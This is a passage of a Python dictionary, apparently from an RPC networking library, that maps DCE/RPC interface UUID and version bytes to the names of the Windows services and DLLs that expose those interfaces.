b"\xa6\x95\x7d\x49\x27\x2d\xf5\x4b\x9b\xbd\xa6\x04\x69\x57\x13\x3c\x01\x00": "termsrv.dll", b"\xcb\x92\xbe\x5c\xbe\xf4\xc9\x45\x9f\xc9\x33\xe7\x3e\x55\x7b\x20\x01\x00": "lsasrv.dll", b"\xa1\x0f\x51\x69\x99\x2f\xeb\x4e\xa4\xff\xaf\x25\x9f\x0f\x97\x49\x01\x00": "wecsvc.dll", b"\x70\x5d\xfb\x8c\xa4\x31\xcf\x11\xa7\xd8\x00\x80\x5f\x48\xa1\x35\x03\x00": "smtpsvc.dll", b"\x46\x0d\x85\x77\x1d\x85\xb6\x43\x93\x98\x29\x01\x61\xf0\xca\xe6\x01\x00": "SeVA.dll", b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xaf\x01\x00": "winlogon.exe", b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x00": "rpcss.dll", b"\x15\x55\xf2\x11\x79\xc8\x0a\x40\x98\x9e\xb0\x74\xd5\xf0\x92\xfe\x01\x00": "lsm.exe", b"\xc0\xe0\x4d\x89\x55\x0d\xd3\x11\xa3\x22\x00\xc0\x4f\xa3\x21\xa1\x01\x00": "wininit.exe", b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x00": "cryptsvc.dll", b"\xa5\x44\xb0\x30\x25\xa2\xf0\x43\xb3\xa4\xe0\x60\xdf\x91\xf9\xc1\x01\x00": "certprop.dll", b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x00\x00": "lsasrv.dll", b"\x49\x69\xe9\x98\x59\xbc\xf1\x47\x92\xd1\x8c\x25\xb4\x6f\x85\xc7\x01\x00": "wlanext.exe", b"\xb8\x61\xe5\xff\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x00": "ntfrs.exe", b"\xb4\x59\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x01\x01": "ntfrs.exe", b"\xa4\xc2\xab\x50\x4d\x57\xb3\x40\x9d\x66\xee\x4f\xd5\xfb\xa0\x76\x05\x00": "dns.exe", b"\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00\x00": "ssmsrp70.dll", b"\x01\xc3\x53\xb2\xa2\x78\x70\x42\xa9\x1f\x66\x0d\xee\x06\x9f\x4c\x01\x00": "rdpcore.dll", b"\x94\x68\x71\x22\x8e\xfd\x62\x44\x97\x83\x09\xe6\xd9\x53\x1f\x16\x01\x00": "ubpm.dll", b"\xf6\xb8\x35\xd3\x31\xcb\xd0\x11\xb0\xf9\x00\x60\x97\xba\x4e\x54\x01\x00": "polagent.dll", b"\x64\x1d\x82\x0c\xfc\xa3\xd1\x11\xbb\x7a\x00\x80\xc7\x5e\x4e\xc1\x01\x00": "irftp.exe", b"\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00": "rpcss.dll", b"\xa8\x95\xee\x81\x2e\x88\x15\x46\x88\x8a\x53\x34\x4c\xa1\x49\xe4\x01\x00": "vpnikeapi.dll", b"\xfb\xee\x0c\x13\x66\xe4\xd1\x11\xb7\x8b\x00\xc0\x4f\xa3\x28\x83\x02\x00": "ismip.dll", b"\x72\xee\xf3\xc6\x7e\xce\xd1\x11\xb7\x1e\x00\xc0\x4f\xc3\x11\x1a\x01\x00": "rpcss.dll", b"\x9a\xf9\x1e\x20\xa0\x7f\x4c\x44\x93\x99\x19\xba\x84\xf1\x2a\x1a\x01\x00": "appinfo.dll", b"\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88\x03\x00": "srvsvc.dll", b"\x72\xe4\x9f\x6d\xf1\x30\x08\x47\x8f\xa8\x67\x83\x62\xb9\x61\x55\x01\x00": "wimserv.exe", b"\xd4\xd7\x44\x7c\xd5\x31\x4c\x42\xbd\x5e\x2b\x3e\x1f\x32\x3d\x22\x01\x00": "ntdsai.dll", b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x99\x01\x00": "IPHLPAPI.DLL", b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x02": "trkwks.dll", b"\x32\x35\x0f\x30\xcc\x38\xd0\x11\xa3\xf0\x00\x20\xaf\x6b\x0a\xdd\x01\x00": "trkwks.dll", b"\x60\xf4\x82\x4f\x21\x0e\xcf\x11\x90\x9e\x00\x80\x5f\x48\xa1\x35\x04\x00": "nntpsvc.dll", b"\x7d\xce\x54\x5f\x79\x5b\x75\x41\x85\x84\xcb\x65\x31\x3a\x0e\x98\x01\x00": "appinfo.dll", b"\xdc\x3f\x27\x82\x2a\xe3\xc3\x18\x3f\x78\x82\x79\x29\xdc\x23\xea\x00\x00": "wevtsvc.dll", b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x01\x28\x92\x02\x01\x62\x00\x00": "browser.dll", b"\xd6\x09\x48\x48\x39\x42\x1b\x47\xb5\xbc\x61\xdf\x8c\x23\xac\x48\x01\x00": "lsm.exe", b"\xe8\x04\xe6\x58\xdb\x9a\x2e\x4d\xa4\x64\x3b\x06\x83\xfb\x14\x80\x01\x00": "appinfo.dll", b"\x57\x72\xd4\xa2\xf7\x12\xeb\x4b\x89\x81\x0e\xbf\xa9\x35\xc4\x07\x01\x00": "p2psvc.dll", b"\x1e\xdd\x5b\x6b\x8c\x52\x2c\x42\xaf\x8c\xa4\x07\x9b\xe4\xfe\x48\x01\x00": "FwRemoteSvr.dll", b"\x75\x21\xc8\x51\x4e\x84\x50\x47\xb0\xd8\xec\x25\x55\x55\xbc\x06\x01\x00": "SLsvc.exe", b"\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xac\x01\x00": "samsrv.dll", b"\xc0\x47\xdf\xb3\x5a\xa9\xcf\x11\xaa\x26\x00\xaa\x00\xc1\x48\xb9\x09\x00": "mspadmin.exe - Microsoft ISA Server", b"\x00\xac\x0a\xf5\xf3\xc7\x8e\x42\xa0\x22\xa6\xb7\x1b\xfb\x9d\x43\x01\x01": "cryptsvc.dll", b"\x65\x31\x0a\xea\x34\x48\xd2\x11\xa6\xf8\x00\xc0\x4f\xa3\x46\xcc\x04\x00": "FXSSVC.exe", b"\x33\xa2\x74\xd6\x29\x58\xdd\x49\x90\xf0\x60\xcf\x9c\xeb\x71\x29\x01\x00": "ipnathlp.dll", b"\xf7\xaf\xbe\xf6\x19\x1e\xbb\x4f\x9f\x8f\xb8\x9e\x20\x18\x33\x7c\x01\x00": "wevtsvc.dll", b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", b"\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00\x00": "sfc.dll", b"\x80\x92\xea\x46\xbf\x5b\x5e\x44\x83\x1d\x41\xd0\xf6\x0f\x50\x3a\x01\x00": "ifssvc.exe", b"\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03\x02\x00": "services.exe", b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x03\x00": "sens.dll", b"\x1c\x02\x0c\xa0\xe2\x2b\xd2\x11\xb6\x78\x00\x00\xf8\x7a\x8f\x8e\x01\x00": "ntfrs.exe", b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x01\x01": "audiosrv.dll", b"\x6d\xa5\x6e\xe7\x3f\x45\xcf\x11\xbf\xec\x08\x00\x2b\xe2\x3f\x2f\x02\x01": "resrcmon.exe", b"\xe1\xbf\x72\x4a\x94\x92\xda\x11\xa7\x2b\x08\x00\x20\x0c\x9a\x66\x01\x00": "rdpinit.exe", b"\x7c\x5f\xc4\xa2\x32\x7d\xad\x46\x96\xf5\xad\xaf\xb4\x86\xbe\x74\x01\x00": "services.exe", b"\x01\x6b\x77\x45\x56\x59\x85\x44\x9f\x80\xf4\x28\xf7\xd6\x01\x29\x02\x00": "dnsrslvr.dll", b"\x96\x7b\x9b\x6c\xa8\x45\xca\x4c\x9e\xb3\xe2\x1c\xcf\x8b\x5a\x89\x01\x00": "umpo.dll", b"\x15\x04\x42\x9d\xfb\xb8\x4a\x4f\x8c\x53\x45\x02\xea\xd3\x0c\xa9\x01\x00": "PlaySndSrv.dll", b"\x50\x38\xcd\x15\xca\x28\xce\x11\xa4\xe8\x00\xaa\x00\x61\x16\xcb\x01\x00": "PeerDistSvc.dll", b"\x20\xe5\x98\xa3\x9a\xd5\xdd\x4b\xaa\x7a\x3c\x1e\x03\x03\xa5\x11\x01\x00": "IKEEXT.DLL", b"\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa\x03\x00": "rpcss.dll", b"\x00\x7c\xda\x83\x4f\xe8\xd2\x11\x98\x07\x00\xc0\x4f\x8e\xc8\x50\x02\x00": "sfc_os.dll", b"\xf2\xdc\x51\x4a\x3a\x5c\xd2\x4d\x84\xdb\xc3\x80\x2e\xe7\xf9\xb7\x01\x00": "ntdsai.dll", b"\x82\x06\xf7\x1f\x51\x0a\xe8\x30\x07\x6d\x74\x0b\xe8\xce\xe9\x8b\x01\x00": "taskcomp.dll", b"\x00\xb9\x99\x3f\x87\x4d\x1b\x10\x99\xb7\xaa\x00\x04\x00\x7f\x07\x01\x00": "ssmsrpc.dll - Microsoft SQL Server", b"\x20\x17\x82\x5b\x3b\xf6\xd0\x11\xaa\xd2\x00\xc0\x4f\xc3\x24\xdb\x01\x00": "dhcpssvc.dll", b"\x22\xc4\xa1\x4d\x3d\x94\xd1\x11\xac\xae\x00\xc0\x4f\xc2\xaa\x3f\x01\x00": "trksvr.dll", b"\x74\xe9\xa5\x1a\x82\x62\x8d\x4e\x9c\x96\x40\x18\x6e\x89\xd2\x80\x01\x00": "scss.exe", b"\x94\x73\x92\x1a\x2e\x35\x53\x45\xae\x3f\x7c\xf4\xaa\xfc\xa6\x20\x01\x00": "wdssrv.dll", b"\x66\xf6\x8c\x04\x42\xab\xb4\x42\x89\x75\x13\x57\x01\x8d\xec\xb3\x01\x00": "ws2_32.dll", b"\x3a\xcf\xe0\x16\x04\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x02\x00": "ntdsbsrv.dll", b"\x02\x00\x00\x00\x01\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x69\x01\x00": "kdcsvc.dll", b"\xb0\x52\x8e\x37\xa9\xc0\xcf\x11\x82\x2d\x00\xaa\x00\x51\xe4\x0f\x01\x00": "taskcomp.dll", b"\xe0\x6d\x7a\x8c\x8d\x78\xd0\x11\x9e\xdf\x44\x45\x53\x54\x00\x00\x02\x00": "wiaservc.dll", b"\x05\x81\xa7\x3c\xa3\xa3\x68\x4a\xb4\x58\x1a\x60\x6b\xab\x8f\xd6\x01\x00": "mpnotify.exe", b"\x2e\xa0\x8a\xb5\x84\x28\x97\x4e\x81\x76\x4e\xe0\x6d\x79\x41\x84\x01\x00": "sysmain.dll", b"\x95\x4f\x25\xd4\xc3\x08\xcc\x4f\xb2\xa6\x0b\x65\x13\x77\xa2\x9c\x01\x00": "wwansvc.dll", b"\x6e\x2c\xf4\xc3\xcc\xd4\x5a\x4e\x93\x8b\x9c\x5e\x8a\x5d\x8c\x2e\x01\x00": "wlanmsm.dll", b"\x53\x0c\x19\xf3\x0c\x4e\x1a\x49\xaa\xd3\x2a\x7c\xeb\x7e\x25\xd4\x01\x00": "vpnikeapi.dll", b"\x26\xc0\xe1\xac\x3f\x8b\x11\x47\x89\x18\xf3\x45\xd1\x7f\x5b\xff\x01\x00": "lsasrv.dll", b"\xc0\xc4\x55\xae\xce\x64\xdd\x11\xad\x8b\x08\x00\x20\x0c\x9a\x66\x01\x00": "bdesvc.dll", b"\xc4\x0c\x3c\xe3\x82\x04\x1a\x10\xbc\x0c\x02\x60\x8c\x6b\xa2\x18\x01\x00": "locator.exe", b"\x0e\x3b\x6c\x50\xd1\x4b\x56\x4c\x88\xc0\x49\xa2\x0e\xd4\xb5\x39\x01\x00": "milcore.dll", b"\x3e\x8e\xb0\x2e\x9f\x63\xba\x4f\x97\xb1\x14\xf8\x78\x96\x10\x76\x01\x00": "gpsvc.dll", b"\x66\x9f\x9b\x62\x6c\x55\xd1\x11\x8d\xd2\x00\xaa\x00\x4a\xbd\x5e\x02\x00": "sens.dll", b"\xb5\x6d\xac\xc9\xb7\x82\x55\x4e\xae\x8a\xe4\x64\xed\x7b\x42\x77\x01\x00": "sysntfy.dll", b"\x98\x46\xbc\xa0\xd7\xb8\x30\x43\xa2\x8f\x77\x09\xe1\x8b\x61\x08\x04\x00": "Sens.dll", b"\x1e\xc9\x31\x3f\x45\x25\x7b\x4b\x93\x11\x95\x29\xe8\xbf\xfe\xf6\x01\x00": "p2psvc.dll", b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x00": "audiosrv.dll", b"\x3e\xca\x86\xc3\x61\x90\x72\x4a\x82\x1e\x49\x8d\x83\xbe\x18\x8f\x02\x02": "audiosrv.dll", b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\xe6\xfc\x01\x00": "msgsvc.dll", b"\x98\xd0\xff\x6b\x12\xa1\x10\x36\x98\x33\x46\xc3\xf8\x74\x53\x2d\x01\x00": "dhcpssvc.dll", b"\xb8\xd0\x48\xe2\x15\xbf\xcf\x11\x8c\x5e\x08\x00\x2b\xb4\x96\x49\x02\x00": "clussvc.exe", b"\x78\xad\xbc\x1c\x0b\xdf\x34\x49\xb5\x58\x87\x83\x9e\xa5\x01\xc9\x00\x00": "lsasrv.dll", b"\x87\x76\xcb\xc8\xd3\xe6\xd2\x11\xa9\x58\x00\xc0\x4f\x68\x2e\x16\x01\x00": "WebClnt.dll", b"\x88\xd4\x81\xc6\x50\xd8\xd0\x11\x8c\x52\x00\xc0\x4f\xd9\x0f\x7e\x01\x00": "lsasrv.dll", b"\x80\x35\x5b\x5b\xe0\xb0\xd1\x11\xb9\x2d\x00\x60\x08\x1e\x87\xf0\x01\x00": "mqqm.dll", b"\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00\x00": "mprdim.dll", b"\xd8\x5d\xe6\x12\x7f\x88\xef\x41\x91\xbf\x8d\x81\x6c\x42\xc2\xe7\x01\x00": "winlogon.exe", b"\xf8\x91\x7b\x5a\x00\xff\xd0\x11\xa9\xb2\x00\xc0\x4f\xb6\x36\xfc\x01\x00": "msgsvc.dll", b"\x01\xd0\x8c\x33\x44\x22\xf1\x31\xaa\xaa\x90\x00\x38\x00\x10\x03\x01\x00": "regsvc.dll", b"\x03\xd7\xfd\x17\x27\x18\x34\x4e\x79\xd4\x24\xa5\x5c\x53\xbb\x37\x01\x00": "msgsvc.dll", b"\x1c\x95\x57\x33\xd1\xa1\xdb\x47\xa2\x78\xab\x94\x5d\x06\x3d\x03\x01\x00": "LBService.dll", b"\xab\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", b"\xc4\xfc\x7b\x82\xb4\x38\xcd\x4a\x92\xe4\x21\xe1\x50\x6b\x85\xfb\x01\x00": "SLsvc.exe", b"\x00\xf0\x09\x8f\xed\xb7\xce\x11\xbb\xd2\x00\x00\x1a\x18\x1c\xad\x00\x00": "mprdim.dll", b"\x4b\xa0\x12\x72\x63\xb4\x2e\x40\x96\x49\x2b\xa4\x77\x39\x46\x76\x01\x00": "umrdp.dll", b"\x20\x65\x5f\x2f\x46\xca\x67\x10\xb3\x19\x00\xdd\x01\x06\x62\xda\x01\x00": "tapisrv.dll", b"\xa0\x9e\xc0\x69\x09\x4a\x1b\x10\xae\x4b\x08\x00\x2b\x34\x9a\x02\x00\x00": "ole32.dll", b"\xd0\x3f\x14\x88\x8d\xc2\x2b\x4b\x8f\xef\x8d\x88\x2f\x6a\x93\x90\x01\x00": "lsm.exe", b"\xe6\x73\x0c\xe6\xf9\x88\xcf\x11\x9a\xf1\x00\x20\xaf\x6e\x72\xf4\x02\x00": "rpcss.dll", b"\x6c\xfc\x79\xde\x6f\xdc\xc7\x43\xa4\x8e\x63\xbb\xc8\xd4\x00\x9d\x01\x00": "rdpclip.exe", b"\x41\x82\xb5\x68\x59\xc2\x03\x4f\xa2\xe5\xa2\x65\x1d\xcb\xc9\x30\x01\x00": "cryptsvc.dll", b"\x80\xa9\x88\x10\xe5\xea\xd0\x11\x8d\x9b\x00\xa0\x24\x53\xc3\x37\x01\x00": "mqqm.dll", b"\xcf\x0b\xa7\x7e\xaf\x48\x6a\x4f\x89\x68\x6a\x44\x07\x54\xd5\xfa\x01\x00": "nsisvc.dll", b"\xe0\xca\x02\xec\xe0\xb9\xd2\x11\xbe\x62\x00\x20\xaf\xed\xdf\x63\x01\x00": "mq1repl.dll", b"\xb3\x8b\x0b\x59\xf6\x4e\xa4\x4c\x83\xcf\xbe\x06\xc4\x07\x86\x74\x01\x00": "PSIService.exe", b"\xce\x9f\x75\x89\x25\x5a\x86\x40\x89\x67\xde\x12\xf3\x9a\x60\xb5\x01\x00": "tssdjet.dll", b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x00": "wlansvc.dll", b"\xc5\x41\x19\xdf\x89\xfe\x79\x4e\xbf\x10\x46\x36\x57\xac\xf4\x4d\x01\x00": "efssvc.dll", b"\xc1\xcd\x1a\x8f\x4d\x75\xeb\x43\x96\x29\xaa\x16\x20\x92\x8e\x65\x00\x00": "IMEPADSM.DLL", b"\xdf\x76\x49\x65\x98\x14\x56\x40\xa1\x5e\xcb\x4e\x87\x58\x4b\xd8\x01\x00": "emdmgmt.dll", b"\xe0\x42\xc7\x4f\x10\x4a\xcf\x11\x82\x73\x00\xaa\x00\x4a\xe6\x73\x03\x00": "dfssvc.exe", b"\xfa\xdb\x6e\x0b\x24\x4a\xc6\x4f\x8a\x23\x94\x2b\x1e\xca\x65\xd1\x01\x00": "spoolsv.exe", b"\xc8\xb7\xd4\x12\xd5\x77\xd1\x11\x8c\x24\x00\xc0\x4f\xa3\x08\x0d\x01\x00": "lserver.dll", b"\x44\xaf\x7d\x8c\xdc\xb6\xd1\x11\x9a\x4c\x00\x20\xaf\x6e\x7c\x57\x01\x00": "appmgmts.dll", b"\xae\x99\x86\x9b\x44\x0e\xb1\x47\x8e\x7f\x86\xa4\x61\xd7\xec\xdc\x00\x00": "rpcss.dll", b"\x84\x65\x0a\x0b\x0f\x9e\xcf\x11\xa3\xcf\x00\x80\x5f\x68\xcb\x1b\x01\x01": "rpcss.dll", b"\xa2\x9c\x14\x93\x3b\x97\xd1\x11\x8c\x39\x00\xc0\x4f\xb9\x84\xf9\x00\x00": "scecli.dll", b"\x7d\x25\x13\xfc\x67\x55\xea\x4d\x89\x8d\xc6\xf9\xc4\x84\x15\xa0\x01\x00": "mqqm.dll", b"\x82\x26\xb9\x2f\x99\x65\xdc\x42\xae\x13\xbd\x2c\xa8\x9b\xd1\x1c\x01\x00": "MPSSVC.dll", b"\x76\x22\x3a\x33\x00\x00\x00\x00\x0d\x00\x00\x80\x9c\x00\x00\x00\x03\x00": "rpcrt4.dll", b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc4\x01\x00": "locator.exe", b"\xdd\x34\x91\x1a\x39\x7b\xba\x45\xad\x88\x44\xd0\x1c\xa4\x7f\x28\x01\x00": "mqqm.dll", b"\xfe\x95\x31\x9b\x03\xd6\xd1\x43\xa0\xd5\x90\x72\xd7\xcd\xe1\x22\x01\x00": "tssdjet.dll", b"\x55\x1a\x20\x6f\x4d\xa2\x5f\x49\xaa\xc9\x2f\x4f\xce\x34\xdf\x98\x01\x00": "iphlpsvc.dll", b"\x5f\x2e\x7e\x89\xf3\x93\x76\x43\x9c\x9c\xfd\x22\x77\x49\x5c\x27\x01\x00": "dfsrmig.exe", b"\x90\x2c\xfe\x98\x42\xa5\xd0\x11\xa4\xef\x00\xa0\xc9\x06\x29\x10\x01\x00": "advapi32.dll", b"\x0c\xc5\xad\x30\xbc\x5c\xce\x46\x9a\x0e\x91\x91\x47\x89\xe2\x3c\x01\x00": "nrpsrv.dll", b"\x1e\x24\x2f\x41\x2a\xc1\xce\x11\xab\xff\x00\x20\xaf\x6e\x7a\x17\x00\x02": "rpcss.dll", b"\xe6\x53\x3a\x9f\xb1\xcb\x54\x4e\x87\x8e\xaf\x9f\x82\x3a\xa3\xf1\x01\x00": "MpRtMon.dll", b"\xa8\xe5\xfc\x1d\x8a\xdd\x33\x4e\xaa\xce\xf6\x03\x92\x2f\xd9\xe7\x00\x01": "wpcsvc.dll", b"\xf0\x0e\xd7\xd6\x3b\x0e\xcb\x11\xac\xc3\x08\x00\x2b\x1d\x29\xc3\x01\x00": "locator.exe", b"\x46\xd7\xd0\xe3\xaf\xd2\xfd\x40\x8a\x7a\x0d\x70\x78\xbb\x70\x92\x01\x00": "qmgr.dll", b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x01": "SCardSvr.dll", b"\x5a\x23\xb5\xc6\x13\xe4\x1d\x48\x9a\xc8\x31\x68\x1b\x1f\xaa\xf5\x01\x00": "SCardSvr.dll", b"\x69\x45\x81\x7d\xb3\x35\x50\x48\xbb\x32\x83\x03\x5f\xce\xbf\x6e\x01\x00": "ias.dll", b"\x41\xea\x25\x48\xe3\x51\x2a\x4c\x84\x06\x8f\x2d\x26\x98\x39\x5f\x01\x00": "userenv.dll", b"\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00": "rpcss.dll", b"\xc5\x28\x47\x3c\xab\xf0\x8b\x44\xbd\xa1\x6c\xe0\x1e\xb0\xa6\xd5\x01\x00": "dhcpcsvc.dll", b"\xe0\x8e\x20\x41\x70\xe9\xd1\x11\x9b\x9e\x00\xe0\x2c\x06\x4c\x39\x01\x00": "mqqm.dll", b"\xbf\x7b\x40\xcb\x4f\xc1\xd9\x4c\x8f\x55\xcb\xb0\x81\x46\x59\x8c\x00\x00": "IMJPDCT.EXE", b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb\x01\x00": "netlogon.dll", b"\x30\x4c\xda\x83\x3a\xea\xcf\x11\x9c\xc1\x08\x00\x36\x01\xe5\x06\x01\x00": "nfsclnt.exe", b"\x1f\xa7\x37\x21\x5e\xbb\x29\x4e\x8e\x7e\x2e\x46\xa6\x68\x1d\xbf\x09\x00": "wspsrv.exe - Microsoft ISA Server", b"\x1e\x67\xe9\xc0\xc6\x33\x38\x44\x94\x64\x56\xb2\xe1\xb1\xc7\xb4\x01\x00": "wbiosrvc.dll", b"\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89\x01\x00": "rpcrt4.dll", b"\x8b\x3c\xf1\x6a\x44\x08\x83\x4c\x90\x64\x18\x92\xba\x82\x55\x27\x01\x00": "tssdis.exe", b"\x55\x51\xd8\xec\x3a\xcc\x10\x4f\xaa\xd5\x9a\x9a\x2b\xf2\xef\x0c\x01\x00": "termsrv.dll", b"\xe8\x98\x8b\xbb\xdd\x84\xe7\x45\x9f\x34\xc3\xfb\x61\x55\xee\xed\x01\x00": "vaultsvc.dll", b"\x86\xb1\x49\xd0\x4f\x81\xd1\x11\x9a\x3c\x00\xc0\x4f\xc9\xb2\x32\x01\x00": "ntfrs.exe", b"\x5d\x2c\x95\x25\x76\x79\xa1\x4a\xa3\xcb\xc3\x5f\x7a\xe7\x9d\x1b\x01\x01": "wlansvc.dll", b"\x7f\x0b\xfe\x64\xf5\x9e\x53\x45\xa7\xdb\x9a\x19\x75\x77\x75\x54\x01\x00": "rpcss.dll", b"\x86\xd4\xdc\x68\x9e\x66\xd1\x11\xab\x0c\x00\xc0\x4f\xc2\xdc\xd2\x02\x00": "ismserv.exe", b"\xc3\x26\xf2\x76\x14\xec\x25\x43\x8a\x99\x6a\x46\x34\x84\x18\xae\x01\x00": "winlogon.exe", b"\x23\x05\x7a\xfd\x70\xdc\xdd\x43\x9b\x2e\x9c\x5e\xd4\x82\x25\xb1\x01\x00": "appinfo.dll", b"\x40\xfd\x2c\x34\x6c\x3c\xce\x11\xa8\x93\x08\x00\x2b\x2e\x9c\x6d\x00\x00": "llssrv.exe", b"\x84\xd8\xb6\x8f\x88\x23\xd0\x11\x8c\x35\x00\xc0\x4f\xda\x27\x95\x04\x01": "w32time.dll", b"\x9b\x06\x33\xae\xa8\xa2\xee\x46\xa2\x35\xdd\xfd\x33\x9b\xe2\x81\x01\x00": "spoolsv.exe", b"\x26\xb5\x55\x1d\x37\xc1\xc5\x46\xab\x79\x63\x8f\x2a\x68\xe8\x69\x01\x00": "rpcss.dll", b"\xa0\xaa\x17\x6e\x47\x1a\xd1\x11\x98\xbd\x00\x00\xf8\x75\x29\x2e\x02\x00": "clussvc.exe", b"\xdf\x5f\xe9\xbd\xe0\xee\xde\x45\x9e\x12\xe5\xa6\x1c\xd0\xd4\xfe\x01\x00": "termsrv.dll", b"\xac\xbe\x00\xc1\x3a\xd3\x4b\x4a\xbf\x23\xbb\xef\x46\x63\xd0\x17\x01\x00": "wcncsvc.dll", b"\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab\x01\x00": "spoolsv.exe", b"\x06\x50\x7b\x8a\x13\xcc\xdb\x11\x97\x05\x00\x50\x56\xc0\x00\x08\x01\x00": "appidsvc.dll", b"\x20\x60\xae\x91\x3c\x9e\xcf\x11\x8d\x7c\x00\xaa\x00\xc0\x91\xbe\x00\x00": "certsrv.exe", b"\x16\xbb\x74\x81\x1b\x57\x38\x4c\x83\x86\x11\x02\xb4\x49\x04\x4a\x01\x00": "p2psvc.dll", b"\x36\x00\x61\x20\x22\xfa\xcf\x11\x98\x23\x00\xa0\xc9\x11\xe5\xdf\x01\x00": "rasmans.dll", b"\x70\x0d\xec\xec\x03\xa6\xd0\x11\x96\xb1\x00\xa0\xc9\x1e\xce\x30\x01\x00": "ntdsbsrv.dll", b"\x1c\xef\x74\x0a\xa4\x41\x06\x4e\x83\xae\xdc\x74\xfb\x1c\xdd\x53\x01\x00": "schedsvc.dll", b"\x25\x04\x49\xdd\x25\x53\x65\x45\xb7\x74\x7e\x27\xd6\xc0\x9c\x24\x01\x00": "BFE.DLL", b"\x7c\x5a\xcc\xf5\x64\x42\x1a\x10\x8c\x59\x08\x00\x2b\x2f\x84\x26\x15\x00": "ntdsa.dll", b"\xa0\x01\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46\x00\x00": "rpcss.dll", b"\x49\x59\xd3\x86\xc9\x83\x44\x40\xb4\x24\xdb\x36\x32\x31\xfd\x0c\x01\x00": "schedsvc.dll", b"\x35\x08\x22\x11\x26\x5b\x94\x4d\xae\x86\xc3\xe4\x75\xa8\x09\xde\x01\x00": "lsasrv.dll", b"\xa8\x66\x00\xc8\x79\x75\xfc\x44\xb9\xb2\x84\x66\x93\x07\x91\xb0\x01\x00": "umrdp.dll", b"\xab\x59\xec\xf1\xa9\x4c\x30\x4c\xb2\xd0\x54\xef\x1d\xb4\x41\xb7\x01\x00": "iertutil.dll", b"\xba\xaa\x67\x52\x49\x4f\x53\x46\x8e\x26\xd1\xe1\x1f\x3f\x2a\xd9\x01\x00": "termsrv.dll", b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x00": "rpcss.dll", b"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f\x00\x02": "rpcss.dll", b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x02": "audiosrv.dll", b"\x38\x47\xaf\x3f\x21\x3a\x07\x43\xb4\x6c\xfd\xda\x9b\xb8\xc0\xd5\x01\x01": "audiosrv.dll", b"\x20\x32\x5f\x2f\x26\xc1\x76\x10\xb5\x49\x07\x4d\x07\x86\x19\xda\x01\x02": "netdde.exe", b"\xbf\x11\x9d\x7f\xb9\x7f\x6b\x43\xa8\x12\xb2\xd5\x0c\x5d\x4c\x03\x01\x00": "MPSSVC.dll", b"\xbf\x52\x5a\xb2\xdd\xe5\x4a\x4f\xae\xa6\x8c\xa7\x27\x2a\x0e\x86\x01\x00": "keyiso.dll", 